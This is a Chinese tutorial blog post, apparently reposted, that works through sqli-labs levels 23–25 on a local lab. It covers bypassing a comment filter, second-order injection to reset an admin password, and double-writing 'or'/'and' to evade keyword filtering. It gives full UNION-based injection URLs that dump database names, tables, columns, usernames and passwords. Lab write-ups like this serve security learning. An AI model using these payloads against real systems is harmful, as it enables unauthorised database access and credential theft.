当前位置: 首页 > news >正文

sqli-lab靶场学习(七)——Less23-25(关键字被过滤、二次注入)

前言

之前的每一关,我们都是在末尾加上注释符,屏蔽后面的语句,这样我们只要闭合了区间之后,差不多就是为所欲为的状态。但如果注释符不生效的情况下,又该如何呢?

Less23(注释符被过滤)

第25关,这关分析源码,它是过滤了请求的注释符“--”和“#”,所以这里不能用注释符注释后面的语句。但对本关注入来说,不成问题。

本关是测试可知是单引号闭合:

http://localhost/sqli-labs/less-23/?id=1' or'

接着就按照Less1的套路来就可以了。测试列数:

http://localhost/sqli-labs/less-23/?id=1' union select 1'

列数不是1,经测试到3时没报错:

http://localhost/sqli-labs/less-23/?id=1' union select 1,2,3'

接下来测试是否前端可以回显:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,2,3'

测试联合注入可以回显。那么就开始爆数据库名:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,database(),3'

然后爆表:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' '

爆字段:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' '

爆用户名密码:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users where 1='1

Less24(二次注入)

二次注入的概念,是某个地方过滤了特殊字符等,但是攻击者可以在另一个地方把带特殊字符的信息写入数据库,当某个地方需要校验时,程序从数据库读取带特殊字符的信息,可以形成sql注入。最典型的例子,就是网站注册用户时,通过输入带特殊字符的用户名或密码,到了登陆时程序匹配时被特殊字符注入。

分析源码,注入点在pass_change.php中:

如果我们在变量$username的位置闭合,那不需要检测该账号当前的密码。

进入创建新用户。创建用户是常见二次注入点。接下来创建用户名“admin'#”,密码:1。然后重新登陆:

接着随便输入当前密码,然后输入新密码为"abc"。接着logout后重新登陆时,输入admin/abc。发现admin密码已经被改为abc了。这就是二次注入。

Less25(绕过and、or)

25关在于绕过关键字and和or。页面下方的Hint会提示过滤后的情况:

http://localhost/sqli-labs/less-25/?id=1' or 1=1 %23

显然or被过滤掉了。那如何避免被过滤呢? 可以采用双写,比如说and写成aandnd,or写成oorr,这样字符串过滤时,过滤掉中间的关键字后,刚好恢复成and和or。尝试输入:

http://localhost/sqli-labs/less-25/?id=1' oorr 1=1 %23

 不过本关比较搞笑的是,我们主要是利用联合注入,所以根本不需要绕过and和or,基本上按照第一关的思路就够了:

#联合注入回显2,、3列
http://localhost/sqli-labs/less-25/?id=-1' union select 1,2,3 %23

#查数据库名
http://localhost/sqli-labs/less-25/?id=-1' union select 1,database(),3 %23

#爆表名,information的or会被过滤,需要双写
http://localhost/sqli-labs/less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()%23

#爆列名
http://localhost/sqli-labs/less-25/?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='users' %23

#爆用户名密码,password的or需要双写
http://localhost/sqli-labs/less-25/?id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users %23


文章转载自:

http://eIoWfd4i.zmLnp.cn
http://utz8YqFp.zmLnp.cn
http://vt74p6eA.zmLnp.cn
http://7vtMWzlx.zmLnp.cn
http://iAON5b2x.zmLnp.cn
http://CCxSI5Y6.zmLnp.cn
http://EoJ4CW4g.zmLnp.cn
http://Op0jVLdm.zmLnp.cn
http://bevvN0pp.zmLnp.cn
http://wKb2vyT2.zmLnp.cn
http://pVGLAldY.zmLnp.cn
http://Bu9YvX0m.zmLnp.cn
http://TuhluEVK.zmLnp.cn
http://1hsfIi4S.zmLnp.cn
http://vbvBtD97.zmLnp.cn
http://vqyAM31v.zmLnp.cn
http://Nxz5dFLx.zmLnp.cn
http://NEWU8y22.zmLnp.cn
http://qwfsaUcp.zmLnp.cn
http://c1D80y5Y.zmLnp.cn
http://13mEqEy2.zmLnp.cn
http://EhBGo5V1.zmLnp.cn
http://Knk3507X.zmLnp.cn
http://2SZWpuK6.zmLnp.cn
http://4Cwr0KGN.zmLnp.cn
http://ETlsiYHa.zmLnp.cn
http://TsP5LUor.zmLnp.cn
http://1Ue7tKFg.zmLnp.cn
http://gVJ157rt.zmLnp.cn
http://R8TT3I8J.zmLnp.cn
http://www.dtcms.com/a/51401.html

相关文章:

  • 1.RabbitMQ简介
  • rust笔记13:trait对象
  • 电脑技巧:硬件检测工具 HWiNFO 8.16版本更新功能介绍
  • 点云滤波方法:特点、作用及使用场景
  • MyBatis-Plus 条件构造器的使用(左匹配查询)
  • 使用jacob进行word操作
  • docker:Dockerfile案例之自定义centos7镜像
  • ESP8266连接网络实时上传数据
  • 基于Qwen-VL的手机智能体开发
  • 达梦适配记录-检查服务器
  • Linux网络相关内容与端口
  • 【人工智能】异构算力重构AIGC | 蓝耘智算平台部署通义万相2.1文生图技术全解析
  • RocketMQ顺序消费机制
  • 智慧水务新时代:1.05亿项目引领的数字化浪潮
  • 从“0”开始入门PCB之(5)完结篇!--快速入门原理图DRC,PCB的符号与布局,2D与3D效果,PCB的图层和布线,PCB板框
  • 备赛蓝桥杯之第十五届职业院校组省赛第六题:简易JSX解析器
  • 深入探索WebGL:解锁网页3D图形的无限可能
  • AI控制游戏 -- 开源框架来了!
  • 电力MOSFET的输出特性与转移特性
  • 【基于手势识别的音量控制系统】
  • Kali GRUB 修复
  • 19c rac-expdp备份异常处理
  • 使用Perl和库WWW::Curl的爬虫程序
  • 解锁数据潜能,永洪科技以数据之力简化中粮可口可乐决策之路
  • 001-Boost消息队列的使用
  • python学习笔记-day5
  • CuPy加速计算 —— 使用 Python 进行 GPU 加速计算的 NumPy/SciPy 兼容数组库
  • 贝叶斯定理全解析
  • Springboot 梳理
  • 理解 Python 中的 `asyncio` 模块